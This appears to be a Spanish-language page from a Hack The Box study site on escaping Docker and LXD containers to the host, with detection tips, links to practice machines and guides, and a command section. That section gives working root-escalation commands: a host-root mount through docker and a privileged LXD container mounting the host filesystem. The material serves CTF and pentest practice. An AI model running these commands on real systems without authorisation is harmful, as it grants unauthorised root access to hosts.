Escape al anfitrión
Salir de un contenedor (Docker, LXD) al sistema anfitrión.
Cómo aparece en Hack The Box
Si estás en un contenedor (.dockerenv, hostname raro) busca el socket de Docker, capabilities peligrosas, montajes del anfitrión o modo privilegiado. Si tu usuario está en los grupos docker o lxd, ya eres root en el anfitrión.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Fuerza bruta de directorios
- Fuzzing de vhosts y subdominios
- Repositorio .git expuesto
- Cross-Site Scripting (XSS)
- CSRF
- Explotación de CVE público
- Server-Side Template Injection
- Escape de contenedores
- Credenciales en ficheros
- Servicios internos y port forwarding
- Cracking de hashes
- Backups y archivos comprimidos
- Abuso de sudo
Guías
- Escalada en Linux: tareas cron, PATH hijacking, wildcards y grupos docker o lxd 4 min de lectura Cuando sudo y SUID no dan nada: tareas cron con pspy, PATH hijacking, comodines en tar y rsync, y root desde los grupos docker, lxd, disk o adm.
- Escapar de un contenedor Docker: docker.sock y modo privilegiado 3 min de lectura Cómo saber si estás dentro de un contenedor, qué revisar y cómo salir al anfitrión con docker.sock, --privileged, discos montados, capabilities o un Docker vulnerable.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada de privilegios en Linux › Explotación
docker
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxd / lxc
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh
Necesitas una imagen de alpine importada (lxc image import) si la máquina no tiene internet.
Ningún comando coincide.